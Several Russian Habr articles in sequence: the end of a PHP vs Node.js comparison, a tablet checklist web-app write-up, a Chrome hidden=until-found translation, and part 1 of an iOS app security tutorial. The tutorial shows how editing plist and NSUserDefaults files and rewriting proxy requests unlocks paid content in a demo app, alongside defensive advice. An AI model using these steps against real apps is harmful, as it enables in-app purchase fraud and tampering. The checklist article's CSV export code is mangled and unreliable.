* Бруно: Вы, безусловно, смотрите не в тех местах. PHP-сообщество невероятно страстное и очень активно. Есть более 20 крупных конференций в год, а некоторые удивительные темы получают свои обсуждения. Появиление HHVM и PHP7 тоже дает о себе знать. Кроме того, я хотел бы сказать, что это интересно, когда видишь, что разработчики Node.js по-прежнему не научились менять номера версий (версия v0.12.5 на момент написания статьи), даже после 6 лет развития. Многие незрелости, в сочетании с критическими, но игнорируемыми старыми ошибками, могут отталкивать целые операционных систем, все это является то, что серьезный разработчик будет думать дважды. Мне не нравится Node.js. Моz неприязнь основывается на негативном опыте в основном при работе с npm. Возможно все измениться в будущем, но сейчас, я полон страха и отчаяния, когда мне предстоит еще раз использовать Node.js. У всех нас есть свои предпочтения, но важно, чтобы все это оставалось объективным, нам нужно выбирать правильный инструмент для своей работы. Также важно признать, что иногда выбор правильного инструмента влечет за собой неправильный выбор другого. Не слушайте никого. Попробуйте сами — посмотрите, что работает, выясните, что вы чувствуете. В конечном счете, именно то, что вы делаете заставляет вас чувствовать себя продуктивным и это является лучшим выбором, а не тот выбор, который дает вам миллисекунды дополнительного прироста.
* Джеймс: В сообществе Node.js очень жарко. Существует много открытий в Node.js-мире. Несмотря на то, моя страсть является субъективной, я рад, что Node.js выиграл этот раунд.
#### Деcятый раунд: будущее
Это не особо важно, какой язык вы используете на стороне сервера, он все равно будет продолжать работать, даже если проект заброшен. Многие продолжают использовать PHP. Это безопасная ставка и ее поддержка выглядит уверенной еще двадцать лет.
При этом мы знаем, что восхождение Node.js было быстрым. Современный подход к развитию очевиден тем, что использует тот же синтаксис, что и на клиентской стороне. JavaScript поддерживает HTML5, веб-сокеты. Node.js неизбежно отнимает долю на рынке, но PHP, я сомневаюсь, что будет обгонять. Обе технологии имеют большое будущее. Я заявляю, этот раунд заканчивается ничьей.
#### Оценка судей — **PHP 5:7 Node.js**
* Бруно: *молчание*.
* Джеймс: Ничья была справедливым результатом этого раунда. Node.js является восходящей звездой, но массивный PHP ему не свергнуть. В завершение можно добавить, если ваш инструмент кажется молотком, то каждая проблема кажется гвоздем. Node.js не идеально подходит для каждого сценария, и в самом деле лучше много раз подумать, когда и где, имеет смысл использовать его. Тем не менее, там где Node.js плох, это даже очень хорошо. Вы сможете сделать осознанный выбор и выбрать лучший инструмент для своей работы.
#### **Абсолютный победитель**
Окончательный счет 5:7 в пользу Node.js. Node.js имеет крутую кривую обучения и не является идеальным для начинающих разработчиков, но он все же выигрывает. Просто. Если вы грамотный JavaScript-программист, который любит свой язык, Node.js не разочарует вас. Вы почувствуете себя свежее и получите освободительный опыт веб-разработки. Но не стоит сбрасывать PHP со счетов. PHP жив, и есть мало оснований ставить подножку PHP, из-за того, что это выглядит модным. PHP проще изучить, вы сможете овладеть профессиональными приемы программирования, главное практика. PHP очень легко развернуть на сервере. Даже упертые Node.js-разработчики должны использовать PHP для простых сайтов и приложений.
Мой совет: оценить варианты и выбрать язык, основанный на ваших требованиях. Это гораздо более практично, чем полагаться на «за и против»! | https://habr.com/ru/post/273259/ | null | ru | null |
# Моя лепта в экономию бумаги на производстве
Я работаю инженером АСУТП в одном из цехов металлургического производства. В цеху есть 3 довольно объемных агрегата и несколько небольших локальных систем, и естественно все они состоят из кучи механизмов, ПЛК, датчиков, клапанов, моторов и т.п. В нашей службе мы частично внедрили некоторые методы системы ТОИР (Техническое обслуживание и ремонт), а именно промаркировали все свое оборудование, внесли его в единообразный каталог и после планового ремонта стараемся делать обходы, согласно заранее подготовленных чек-листов. Раньше все было довольно печально: чек-листы страниц на 20-30 распечатывались, подшивались, и приходилось ходить по агрегату с ручкой в одной руке и кипой бумаги в другой, которая так и норовит где-нибудь рассыпаться. А еще иногда приходится лазить среди грязи и пыли, или взбираться на неудобные площадки. Мало того, после обхода желательно как-то обработать результат, и сохранить его на будущее: потому кучи заляпанных бумаг после каждого обхода постоянно валялось где попало и не было от нее никакой пользы. С этим непотребством хотелось что-то сделать и потому пришла идея сделать электронный чек-лист на планшете.
Пример чек-листа на планшетеНа самом деле эта идея была даже не моя, потому как еще до внедрения системы ТОиР были заранее заказаны электронные планшеты, к которым для живучести заказали специальные противоударные чехлы. Однако из-за отсутствия софта долгое время работали с бумагой, пока мне не захотелось самому попробовать сделать аналог бумажных чек-листов при помощи html и javascript. Мне нравится в этой связке то, что это довольно универсальное решение, т.к. для работы требуется только браузер, а писать код можно даже в notepad++.
Бумажные чек-листы представляли собой распечатанные из Экселя таблицы с несколькими столбцами с информацией по оборудованию, где были также 3 дополнительных столбца о дате проверки, отметке состояния оборудования и ФИО того кто делает обход (чтобы потом можно было отследить кто недосмотрел, если сразу после ремонта какой-либо датчик выйдет из строя). Поэтому чтобы не изобретать велосипед, такую же структуру и нужно было перенести в электронный вид, с той лишь разницей, что на планшете удобнее заполнять отметки, а дата-время и ФИО могут заполняться автоматически. Реализовано это максимально с костылями, но тем не менее решение рабочее и функционирует уже несколько месяцев. Сейчас расскажу как и что делал.
Идея программы была простая: заранее созданную таблицу в формате CSV (с экселем в силу отсутствия опыта решил для начала не заморачиваться) экспортирую в массив массивов, далее на основе этого массива генерируется таблица HTML, где кликом на любой строке можно вызвать специальное меню в котором можно поставить отметку на выбранное оборудование. Отметки опять же сохраняются в массиве, который в любой момент можно экспортировать в файл CSV. Первый парсер CSV в массив и экспорт массива в файл я написал частично сам, но потом все же задействовал Stack Overflow на полную, т.к. там решения работали правильнее и были всегда гораздо лаконичнее и красивее. Вот как выглядел самый первый экспорт: тупо join элементов массива, а новая строка так и вообще некая странная комбинация, которая как я понимаю обозначает новую строку в текстовом документе. Причем как видно еще есть регулярка, которая убирает HTML теги, потому как внутри массива сохранял поначалу даже HTML теги. В последней версии смотрю что регулярки уже нет, а вот %0D%0A осталась, то есть по какой-то причине так и оставил свою версию экспорта.
```
function exportToCSV(){
let csvString = "";
for (let i=0;i]+(>|$)/g, "")));
pom.setAttribute('download', 'check-list.csv');
if(document.createEvent) {
var event = document.createEvent('MouseEvents');
event.initEvent('click', true, true);
pom.dispatchEvent(event);
} else {
pom.click();
}
}
```
Поначалу импорт таблицы был только из текстового поля, а уже потом прикрутил импорт из локального файла, и в конце даже с удаленного сервера через **XMLHttpRequest**. Для того чтобы при внезапной ошибке или сворачивании браузера не потерять все наработки практически на все данные был задействован **localStorage**. Было добавлено поле для ввода Фамилии, можно было выбирать какие столбцы показывать в таблице и показывать ли уже отмеченное оборудование. В целом уже через несколько дней был вполне работающий прототип, с импортом и экспортом данных из/в CSV формат, однако это требовало не мало лишних телодвижений для коллег: не все хотели разбираться как переносить csv в Excel. поэтому нужно было добавить поддержку экселя, благо что остальной функционал работал уже вполне сносно. Путем гугления нашел библиотеку SheetJS и начал разбираться как это все работает. И поскольку работа с csv уже была сделана, то при импорте книги происходило преобразование сначала в csv а потом уже в массив массивов, а экпорт из массива делается вообще элементарно. Правда потом в процессе эксплуатации были замечены неудобства в виде отсутствия возможности редактирования цветов ячеек и их ширины, т.к. используется бесплатная версия библиотеки для сообщества.
Благодаря тому что планшет работает на системе Андроид, удалось из всего этого сделать даже почти нативное приложение используя технологию PWA (прогрессивное веб приложение) - и теперь оно может запускаться в полноэкранном виде, без адресной строки браузера, и на главном экране будет своя иконка быстрого запуска приложения. Хостится приложение на гитхабе и поэтому, кстати, пришлось добавить специальную кнопку для обновления функционала, потому что при изменении кода, пока не очистишь кэш, изменения не получится увидеть. В конце-концов были добавлены небольшие фишки в виде нумерации строк, поиска по таблице и темная тема (такого запроса не было, но почему бы и нет). В целом народ позитивно воспринял электронный чек-лист: удобно использовать в целом, удобно искать оборудование, удобно хранить заполненные чек-листы ну и самое главное конечно же экономия бумаги, которая в нынешних реалиях становится более актуальной.
[Ссылка на гитхаб](https://github.com/boolkin/check-list/)
[Ссылка на само приложение](https://boolkin.github.io/check-list/) (чтобы выбрать тестовый чек-лист, нужно нажать на чекбокс рядом с кнопкой обновить приложение - этот чекбокс отображает неиспользуемые функции, т.к. у нас на планшет уже залиты готовые чек-листы и потому нет нужды экспорта с удаленного сервера и прочих функций). | https://habr.com/ru/post/663176/ | null | ru | null |
# Делаем свернутый контент доступным с помощью hidden=until-Found
Эта статья — перевод оригинальной статьи "[Making collapsed content accessible with hidden=until-found](https://developer.chrome.com/articles/hidden-until-found/)"
Также я веду телеграм канал “[Frontend по-флотски](https://t.me/frontend_pasta)”, где рассказываю про интересные вещи из мира разработки интерфейсов.
Вступление
----------
Сворачивающиеся разделы с контентом, называемые как [аккордеон](https://www.smashingmagazine.com/2017/06/designing-perfect-accordion-checklist/), являются распространенным шаблоном пользовательского интерфейса. Однако контент, скрытый в свернутых разделах, становится невозможным для поиска по странице пользователем. Кроме того, нельзя ссылаться на [текстовые фрагменты](https://web.dev/text-fragments/) внутри свернутой области.
HTML-атрибут `hidden=until-found` и событие `beforematch` могут решить эти проблемы. Добавляя `hidden=until-found` в контейнер для вашего скрытого контента, вы позволяете браузеру искать текст в этой скрытой области и открывать раздел, если совпадение найдено.
Эта функция не только позволяет выполнять поиск на странице в скрытых разделах, но и делает этот скрытый контент доступным для поисковых систем. Google Search даже сформирует ссылки, которые прокручиваются до обнаруженного фрагмента.
Эти функции доступны в Chrome 102, поэтому давайте посмотрим, как они работают.
Как этим пользоваться?
----------------------
Если на вашем веб-сайте уже есть сворачиваемые разделы, которые вы хотите сделать доступными для поиска, замените стили, которые делают раздел скрытым, атрибутом `hidden=until-found`. Если ваша страница также имеет другое состояние, которое необходимо синхронизировать с тем, открыт ли ваш раздел, добавьте прослушиватель событий `beforematch`, который будет запускаться для элемента `hidden=until-found` прямо перед тем, как элемент будет обнаружен браузером.
[Codepen](https://codepen.io/web-dot-dev/pen/JjMxmom)
Предостережения
---------------
Для обеспечения единообразия взаимодействия с пользователем содержимое `hidden=until-found` должно быть доступно для просмотра без использования поиска на странице. Не все пользователи будут использовать поиск на странице, а браузеры, которые не поддерживают `hidden=until-found`, получат исходный опыт скрытого содержимого без раскрытия.
Если вы хотите убедиться, что ваш скрытый контент доступен для поиска в браузерах, которые не поддерживают `hidden=until-found`, вы всегда можете раскрыть скрытый контент в этих браузерах. Обнаружение функции можно выполнить, проверив наличие обработчика события `beforematch`:
```
if (!(‘onbeforematch' in document.body)) {
// expand all hidden content
}
```
`hidden=until-found` применяет свойство CSS `content-visibility:hidden` вместо свойства `display:none`, к которому применяется обычный скрытый атрибут. Это необходимо для поиска содержимого, когда оно закрыто, но также имеет следующие побочные эффекты:
* Некоторые API-интерфейсы макета, такие как `getBoundingClientRect`, сообщают, что скрытый контент внутри элемента `hidden=until-found` занимает место и занимает определенную позицию на странице.
* Дочерние узлы элемента `hidden=until-found` не будут отображаться, но сам элемент `hidden=until-found` по-прежнему будет иметь поле. Это означает, что свойства CSS, такие как border и размер, по-прежнему будут влиять на рендеринг.
В качестве примера в следующей демонстрации добавлены border, padding и margin к элементу, для которого применено значение `hidden=until-found`. В том месте, где будет отображаться скрытый контент, находится поле с серой рамкой, которое затем заполняется скрытым контентом при его раскрытии. Это размер скрытого элемента.
[CodePen](https://codepen.io/web-dot-dev/pen/oNpmaXV)
Чтобы избежать этой проблемы, добавьте border к элементу, вложенному внутрь контейнера, для которого установлено значение `hidden=until-found`.
[CodePen](https://codepen.io/web-dot-dev/pen/Rwxveab) | https://habr.com/ru/post/712562/ | null | ru | null |
# Ломаем iOS-приложение. Часть 1
Вы хорошо поработали, и вот ваше приложение в App Store!
* Храните учётные записи юзеров?
* Используете встроенные покупки?
* Не хотите показывать своё ноу-хау?
Повод задуматься о безопасности кода и данных! Мы будем искать уязвимости в тестовом приложении. В этой статье поговорим о безопасности данных, а [в следующей](http://habrahabr.ru/post/199130/) — перейдём к коду.
Disclaimer
----------
Цель данного урока — не сделать вас хакером, а показать, как злоумышленники могут обвести вас вокруг пальца. В статье пропущена кое-какая инфа, необходимая для взлома реального приложения на девайсе. Будем мучить симулятор (кстати, это вроде бы даже законно[citation needed]).
*Disclaimer от переводчика: из оригинального текста убрано много «воды» и отсылок к Голливуду (и так длинно). Добавлен ряд ключевых пояснений.*
Итак
----
**Ни одно приложение не является безопасным!** Если кто-то действительно захочет найти у вас уязвимости, то он их найдёт. Нет гарантированного способа предотвратить атаку. ~~Разве что, не выпускать приложение.~~ Но есть отличные способы помешать взломщикам. (По мнению автора, им надоест, и они пойдут ~~спать~~ искать более лёгкую добычу, ага. — *Прим. пер.*)
Перед тем, как читать дальше, вы должны примерно понимать, что такое терминал, а также Objective C и Cocoa (впрочем, особо много кода не будет).
### Приступим
Нам понадобится:
1. Утилита [class-dump-z](https://code.google.com/p/networkpx/wiki/class_dump_z);
2. Прокси для отладки по сети, например, [Charles](http://www.charlesproxy.com/download/) (триал-версия отличается надоедливыми сообщениями и работает максимум 30 минут за 1 сеанс). В комментах к [исходнику](http://www.raywenderlich.com/45645/ios-app-security-analysis-part-1#comments) статьи советуют альтернативу Чарльзу — [Burpsuite](http://highaltitudehacks.com/2013/08/20/ios-application-security-part-11-analyzing-network-traffic-over-http-slash-https/).
Чтобы вы творчески подошли к процессу, предлагаю вам сценарий. Представьте: вышло новое приложение для айпада — «Собиратель мемов» (Meme Collector). Всем нравится. Но вам шепнули на ухо, что встроенные покупки вытянут из вас значительную сумму денег.

В общем, вы задумали получить платный контент (мемы) бесплатно. Есть несколько направлений, куда можно двигаться, мы поговорим о них — и о соответствующих методах защиты.
**Небольшое упрощение**Из-за длины этого урока мы изначально допустили некоторые упрощения в тестовом проекте. Например, «покупка» игровой валюты представляет из себя не настоящий in-app purchase, а фэйковый запрос к StoreKit (всё происходит локально на девайсе).
### Что к чему? «Карта» приложения (application mapping)
Взглянем на приложение с высоты птичьего полёта! Что оно делает, с точки зрения пользователя? Какова его основная структура?
Откройте [проект Meme Collector](https://github.com/x128/MemeCollector) в своей любимой IDE или в Xcode (не реклама).

Мы будем запускать приложение в конфигурации Release.
Xcode: **Product > Scheme > Edit scheme…** (**⌘<**) — слева выбрать Run…, справа вкладка Info > Build Configuration: Release.
AppCode: **Run > Edit configurations…** > Configuration: Release.
Запустите приложение на симуляторе iPad (**⌘R**). А теперь забудьте, что у вас есть исходники, вы — юзер. Откроется одно из двух:

**У вас вариант слева?**Это хабраэффект или проблема с соединением. Мемы берутся с [API memegenerator.net](http://version1.api.memegenerator.net/Generators_Select_ByNew) — проверьте, что этот урл выдаёт `{"success":true,"result":[список мемов]}`. Во время перевода статьи у них были проблемы с сервером. Если есть желание избавить проект от зависимости от данного API, велкам на гитхаб.
Этот ~~странный~~ интерфейс позволяет «купить» мем по тапу на него, а также показывает число покупок данного мема и остаток денег на вашем счёте. *От переводчика:* нажав кнопку «Purchase Currency», я реально задумался: а не вводил ли я Apple ID на симуляторе?

…но вспомнил, что у меня к US-аккаунту не привязана кредитка. :) Русский бы сказал цену в рублях.
В общем, всё просто. Есть «игровая валюта», и вы (типа взломщик) не хотите отдавать за неё реальные деньги. Наша цель — получить больше мемов, не нажимая кнопку «Purchase Currency».
Мы примерно поняли, что делает приложение, давайте заглянем глубже. Что ещё мы можем узнать?
Упомянутая утилита **class-dump-z** отобразит нам все объявления (declarations), которые она сможет достать из исполняемого файла. [Скачайте](https://code.google.com/p/networkpx/wiki/class_dump_z) последнюю версию утилиты (например, 0.2a), распакуйте архив. В терминале перейдите в папку `class-dump-z_0.2a/mac_x86/`. Там есть исполняемый файл class-dump-z, установите его, например, скопировав в `/usr/bin/`:
```
sudo cp class-dump-z /usr/bin/
```
Перейдите в папку симулятора iOS: (вместо 7.0.3 — ваша версия)
```
cd ~/Library/Application\ Support/iPhone\ Simulator/7.0.3/Applications/
```
Здесь лежат все приложения, которые вы запускали в симуляторе. Их там может быть много. Как найти Meme Collector?
Вариант 1. Если вы только что запускали Meme Collector, то он лежит в папке с самой новой датой модификации. Просто перейдите в неё:
```
cd `ls -tr | tail -1`
```
**Это что за магия?*** Команда ls выдаёт содержимое папки. Флаг "-tr" сортирует по времени: самая новая папка будет последней в списке.
* Весь этот список поступает на вход команды tail. Она берёт некоторый объём данных с конца. В данном случае — ровно одну строчку (флаг "-n 1" или просто "-1").
* Далее команда cd переходит в эту самую новую папку.
Вариант 2. Взять и найти:
```
find . -name "Meme Collector"
```
В моём случае папка называется `9A72F266-8851-4A25-84E4-9CF8EFF95CD4` — далее будем называть её просто «папкой приложения». В ней лежит:
* `Meme Collector.app` — главный бандл (main application bundle)
* ещё что-то :)
Бандл — это папка (именно папка, да, с расширением `.app`), в которой есть один или несколько исполняемых файлов плюс ресурсы к ним (картинки, звуки, цифровая подпись, в общем, что угодно, даже другие бандлы… [read more](http://en.wikipedia.org/wiki/Application_bundle)). Перейдём в папку основного бандла:
```
cd Meme Collector.app
```
Тут есть исполняемый файл, который так и называется: `Meme Collector` (без расширения). Посмотрим, на какие фреймворки (frameworks) и общие библиотеки (shared libraries) имеются в нём ссылки. Нам поможет стандартная утилита `otool`:
```
otool -L "Meme Collector"
```
И вот что видим:
```
Meme Collector:
/System/Library/Frameworks/SystemConfiguration.framework/SystemConfiguration (compatibility version 1.0.0, current version 615.0.0)
/System/Library/Frameworks/MobileCoreServices.framework/MobileCoreServices (compatibility version 1.0.0, current version 51.0.0)
/System/Library/Frameworks/Security.framework/Security (compatibility version 1.0.0, current version 1.0.0)
/System/Library/Frameworks/StoreKit.framework/StoreKit (compatibility version 1.0.0, current version 1.0.0)
/System/Library/Frameworks/QuartzCore.framework/QuartzCore (compatibility version 1.2.0, current version 1.8.0)
/System/Library/Frameworks/UIKit.framework/UIKit (compatibility version 1.0.0, current version 2903.23.0)
/System/Library/Frameworks/Foundation.framework/Foundation (compatibility version 300.0.0, current version 1047.22.0)
/System/Library/Frameworks/CoreGraphics.framework/CoreGraphics (compatibility version 64.0.0, current version 600.0.0)
/usr/lib/libobjc.A.dylib (compatibility version 1.0.0, current version 227.0.0)
/usr/lib/libSystem.dylib (compatibility version 1.0.0, current version 111.0.0)
```
Мм, интересно, приложение использует фреймворк [Store Kit](https://developer.apple.com/library/ios/documentation/StoreKit/Reference/StoreKit_Collection/_index.html) — встроенные покупки? Ну-ка, идём дальше. Запускаем утилиту **class-dump-z**:
```
class-dump-z "Meme Collector" > ClassDump.txt
```
И откроем полученный файл в стандартном гуёвом редакторе:
```
open ClassDump.txt
```
Ого! Хотя нет, по сравнению с примером из [оригинальной статьи](http://www.raywenderlich.com/45645/ios-app-security-analysis-part-1) (Xcode 4, iOS 6 SDK) появились неприятные моменты типа `XXUnknownSuperclass`, но всё же! Мы видим не только интерфейсную часть, но и объявления закрытых (private) методов, свойств, протоколов.
Изучение дампа классов серьёзного проекта — чаще всего утомительное занятие. Но оно может дать потрясающую картину внутреннего устройства приложения!
Итак, мой юный следопыт! Найдите-ка мне все синглтоны в приложении.
**Подсказка**В сигнлтонах часто встречаются объявления [методов класса](http://en.wikipedia.org/wiki/Method_%28computer_programming%29#Class_methods) с ключевыми словами: manager, shared, store.
Если встретите интересный синглтон, изучите все его методы.
(Видимо, «интересный» = «похоже, имеющий отношение к логике приложения». — *Прим. пер.*)
**Решение**Точно нашли? Посмотрите у себя внимательнее. Их там около четырёх штук.
**Да, все.*** AFNetworking
* MemeManager — интересный синглтон! Он содержит:
```
@property(retain, nonatomic) AFHTTPClient* client;
@property(readonly, assign, nonatomic) NSMutableArray* memes;
+(id)sharedManager;
-(void)memePurchased:(int)purchased;
-(void)getMemeInformation; // кстати, это private-метод
```
* MoneyManager — тоже интересный синглтон:
```
@property(readonly, assign, nonatomic) NSNumber* money;
+(id)sharedManager;
-(BOOL)saveState; // кстати, это private-метод
-(void)loadState; // кстати, это private-метод
-(BOOL)purchaseCurrency;
-(BOOL)buyObject:(id)object;
```
* SVProgressHUD
Взломщики часто делают то, что вы сейчас сделали — ищут определённые слова в дампе класса. Например, если они хотят узнать, есть ли в приложении логика, завязанная на джейлбрейк девайса, то поиск по словам 'jailbroken', 'security' и т.д. может дать быстрый ответ.
#### Как это предотвратить?
Есть две новости. Начну с хорошей.
Apple делает это за вас автоматически. Когда вы отправляете приложение в App Store, они шифруют ваши бинарники с использованием DRM-технологии под названием [FairPlay](http://en.wikipedia.org/wiki/FairPlay). Если вы сдампите class-dump-z'ом зашифрованный бинарник, то получите… тарабарщину.
Плохая новость: обойти эту защиту довольно легко! Дело на 10 минут (вручную), а ещё есть средства автоматизировать сей процесс. В общем, будьте уверены, ваше приложение расшифруют и увидят названия всех ваших классов, методов, протоколов и т.д.

### Plist-файлы: уязвимы!
Мы кое-что узнали о приложении. Теперь поищем всё, что плохо лежит. Разработчикам свойственно ошибаться. Злоумышленникам свойственно использовать эти ошибки в своих целях.
Ошибки… Начнём с самых глупых! Например, как вам идея: использовать файл .plist для хранения критической информации? Взломщики всегда смотрят plist'ы: их легко просмотреть, а их изучение может дать ключ к внутренней логике приложения. (Plist = property list, текстовый файл с сериализованными объектами).
Посмотрим, какие plist'ы у нас есть?
*(напомню, мы всё ещё находимся в папке бандла «Meme Collector.app»)*
```
ls *.plist
```
А вот какие — две штуки:
```
Info.plist MoneyDataStore.plist
```
Посмотрим первый — Info.plist:
```
plutil -p Info.plist
```
Результат:
```
{
"DTSDKName" => "iphonesimulator7.0"
"CFBundleName" => "Meme Collector"
"CFBundleDevelopmentRegion" => "en"
"CFBundleVersion" => "1.0"
"DTPlatformName" => "iphonesimulator"
…и ещё куча всего…
```
Ничего интересного, какая-то общая информация. Ладно. Ну-ка, а второй:
```
plutil -p MoneyDataStore.plist
```
И видим:
```
{
"userCurrency" => 108
}
```
Прикол! Этот .plist содержит ключ `userCurrency` с тем же значением, которое вы только что видели на экране симулятора. Значит ли это, что приложение хранит деньги в .plist'е? Есть только один способ узнать!
```
open MoneyDataStore.plist
```
Измените значение `userCurrency`, например, на 1234. Сохраните и закройте файл .plist.
Вернёмся к симулятору. Уберём наше приложение из оперативной памяти (как говорят, «из многозадачности»).**На всякий случай инструкция.**Сочетание клавиш **⇧⌘H** в симуляторе iOS соответствует нажатию кнопки **Home**. Нажмите это сочетание дважды, чтобы показать экран многозадачности, и смахните Meme Collector ~~в никуда~~ вверх.
Кажется, он не очень доволен, что его смахивают:В дальнейшем, когда я буду говорить «перезапустите приложение», я буду иметь в виду именно эту операцию.
Снова запустите приложение. 1234 виртуальных тугриков в вашем распоряжении!
*От переводчика:* я ждал большей интриги. Не бывает так просто! Хоть свой тестовый проект пиши.
### Пользовательские настройки: небезопасно!
Ну вы поняли? Хранить важную информацию в .plist — не самая лучшая идея. А теперь угадайте: что представляют из себя пользовательские настройки (`NSUserDefaults`)? Ага, тоже plist! Физически он лежит по адресу `{App Directory}/Library/Preferences/{Bundle Identifier}.plist`.
Это как раз то место, где разработчики часто ошибочно чувствуют себя в безопасности. Не только фрилансеры: крупные корпорации время от времени попадают в эту ловушку. Бесчисленное множество приложений хранят важные данные в `NSUserDefaults`. Посмотрим, что нам здесь приготовил Meme Collector?
Из терминала (мы по-прежнему находимся в Meme Collector.app, так?) откройте файл:
```
open ../Library/Preferences/com.selander.Meme-Collector.plist
```
Несложное упражнение для вас: используя методы, о которых говорилось выше, модифицируйте `NSUserDefaults` так, чтобы получить кучу мемов из серии «Y U No …» бесплатно. Даже если вы уже обо всём догадались, советую сделать это для закрепления.

Но ведь злоумышленники могут получить доступ к plist-файлам, даже когда iOS-девайс заблокирован — так где же безопасно хранить данные? Одно из решений — хранить данные в `NSUserDefaults` в зашифрованном виде. В этом случае (и не только. — *Прим. К.О.*) нужно проверять на валидность данные, читаемые оттуда.
### Связка ключей: лучшие рецепты
Другое возможное решение — перенос важных данных из .plist'ов в Связку ключей iOS (Keychain). Как это сделать — написано, например, [здесь](http://www.raywenderlich.com/6475/basic-security-in-ios-5-tutorial-part-1).
Связка ключей «повышает ставки» для хакера. Злоумышленники не смогут ничего стянуть, если устройство заблокировано.
Тем не менее, не стоит полностью полагаться на одну только Связку ключей! И вот почему. Связку ключей поддерживает Apple. (Ну вы уже всё поняли, да?) Информация в ней зашифрована паролем пользователя, который обычно является простым 4-значным цифровым кодом. А это значит, что атака [брутфорсом](http://ru.wikipedia.org/wiki/%D0%9F%D0%BE%D0%BB%D0%BD%D1%8B%D0%B9_%D0%BF%D0%B5%D1%80%D0%B5%D0%B1%D0%BE%D1%80) займёт минут двадцать. Узнав пароль, легко сдампить всю связку ключей.
Что же делать? Некоторые общие рекомендации:
* **Шифруйте данные!** Связка ключей вроде как безопасна, но это приоритетная цель для хакеров, поэтому её ломают в первую очередь. (Про джейлбрейкнутые устройства вообще нечего говорить — для них существуют утилиты, показывающие содержимое Связки ключей.) Усложните жизнь взломщикам хотя бы ненамного: шифруйте данные с помощью **CommonCrypto API**, который входит в состав стандартного Security Framework ([пример](https://developer.apple.com/library/ios/samplecode/CryptoExercise/Introduction/Intro.html)).
* **Не прописывайте ключ шифрования в приложении.** Длинная строка в секции данных представляет потенциальный интерес для хакера. И вообще: если закрытый ключ прописан в приложении, злоумышленник может выложить его в сеть, скомпрометировав данные всех пользователей приложения! Обязательно генерировать уникальный ключ шифрования на каждом устройстве.
* **Контролируйте код!** Конкретно — следите за возможностью хакера использовать ваш код в своих целях. Ваш метод шифрования/дешифрования может быть самым прекрасным решением. Но хакеры возьмут отладчик и применят ваш метод дешифрования к вашим же зашифрованным данным. Вы увидите это во второй части данного туториала (следующий пост).
* **Это точно нужно хранить?** Раз злоумышленник может искать, модифицировать и выполнять ваши бинарники — просто спросите себя: эту информацию действительно нужно хранить на девайсе?
### Сеть: тестирование на проникновение
Ещё хакеры любят наблюдать, как приложение взаимодействует с сетью. Самый тупой способ увидеть, происходит ли какая-то работа с сетью на устройстве, это поискать URL'ы в бинарнике.
Находясь в папке бандла (Meme Collector.app), наберите в терминале:
```
strings "Meme Collector"
```
Стой, куда столько! Команда strings идёт по разделам бинарника и выводит все элементы данных, похожие на строки. Отфильтруем шум:
```
strings "Meme Collector" | grep http
```
А, ну вот, одна строка:
```
http://version1.api.memegenerator.net/Generator_Select_ByUrlNameOrGeneratorID
```
Похоже, в какой-то момент приложение обращается к генератору мемов по этому урлу. Будучи хакером, вы бы хотели исследовать это дело дальше, изучив сетевой трафик приложения. Для этого нам понадобится сетевой монитор, перехватывающий все входящие и исходящие запросы.
Charles, упомянутый в начале статьи — хороший вариант для такого исследования. [Скачайте](http://www.charlesproxy.com/download/) его, если ещё не сделали это. Установите и запустите.
Проверьте, что Charles ловит сетевое взаимодействие с симулятора iOS (путём запуска «Карт», или в Safari набрать урл). Вы увидите, как в Charles побегут сетевые запросы. Если этого не произошло, убедитесь, что в меню **Proxy > Mac OS X Proxy** галочка установлена.
**Кстати, Charles отлично перехватывает SSL-трафик.**Мы не будем это делать, потому что не увидели HTTPS-урлов на выходе команды `strings`. Но этот шаг потребуется для других приложений, которые могут использовать HTTPS. В меню **Proxy > Proxy Settings… > SSL** нужно включить SSL-прокси и добавить домены, по которым требуется перехватывать (и расшифровывать) HTTPS-трафик. Пока вы это не сделаете, SSL будет выглядеть примерно так:

При работающем Charles перезапустите Meme Collector. После запуска вы должны увидеть три запроса к `version1.api.memegenerator.net`, нажав на треугольник слева от урла (см. ниже). Раскроются три запроса, отличающиеся GET-параметрами. Например, у первого один GET-параметр: `urlName=Foul-Bachelor-Frog` — это видно на вкладке Request.
Выберите вкладку Response и затем внизу JSON. Ответ сервера, расшифрованный из JSON, представлен в виде красивой таблички:

Мы видим здесь множество строк вида «ключ-значение»: заголовок (`displayName`), описание (`description`), URL картинки (`imageUrl`) — в общем, некая информация по данному типу мемов «Four Bachelor Frog» из GET-параметра.
Что происходит дальше? Приложение трижды делает одно и то же: HTTP-запрос по урлу картинки, пытается скачать её с `cdn.memegenerator.co`, получает 301-й редирект на `cdn.memegenerator.net` и качает оттуда.

Похоже на то, что мы видели в приложении, правда? Двум другим картинкам в этот раз повезло меньше, они так и не дождались ответа от сервера (Charles сообщает об этом на вкладке Overview) и поэтому не отобразились в приложении.

**А я вообще не вижу, чтобы запрашивались картинки!**При повторном запуске картинки могут браться из кэша симулятора, Charles лб этом не знает. Очистите кэш и перезапустите приложение.
```
rm -R Library/Caches/
```
Итак, с определённой долей вероятности делаем вывод: приложение берёт мемы с данного API и представляет их в виде платного контента. А что если попытаться изменить URL с целью приобрести какой-то новый контент, кроме этих трёх мемов? Непохоже, что тут есть проверка, действительно ли приложение получает с сервера то, что ожидал разработчик!
Вам уже надоели эти три мема? Ну-ка попробуем, можно ли отобразить и «купить» что-то новое, скажем, «Success Kid».
Выберите в меню Charles: **Tools > Rewrite**. Эта функция позволяет перехватывать входящие/исходящие запросы и модифицировать их по тем правилам, которые вы установите. Включите галочку **Enable Rewrite**. Правила группируются в «наборы» (Sets). Под списком Sets нажмите **Add** для добавления нового набора правил. По желанию, переименуйте (Name). Мы создали набор правил, но он пока пустой. Давайте добавим правило — в разделе **Rules** есть кнопка **Add**, нажмите её.

Открылось окно Rewrite Rule. Измените **Type** на «Modify Query Param» («Изменить параметр запроса») и заполните два поля:
* **Match > Name:** `urlName`
* **Replace > Value:** `success-kid`

Нажмите OK, OK. Перезапустите приложение… Success! Мы можем покупать контент, который ранее был недоступен.

Интересно: для этого нового мема указана конкретная цена. Откуда? Приложение должно было как-то определить стоимость, исходя из JSON-ответа.
Откройте вкладку Response и посмотрите на JSON, который возвращает сервер. Что может определить стоимость цены?
Попробуйте найти JSON-ключи, которые могут определить стоимость мема в приложении. Может быть, это generatorID, totalVotesScore, instancesCount, templatesCount или ranking. В качестве упражнения для вас: найдите тот ключ, который влияет на стоимость мема.
Чтобы сделать это, перейдите к Proxy > Breakpoints. Нажмите **Enable Breakpoints** и нажмите **Add**, чтобы добавить новую точку останова. Появится окно Edit breakpoint, введите в нём следующие данные:
* Protocol: `http`
* Host: `version1.api.memegenerator.net`
* опция Response включена

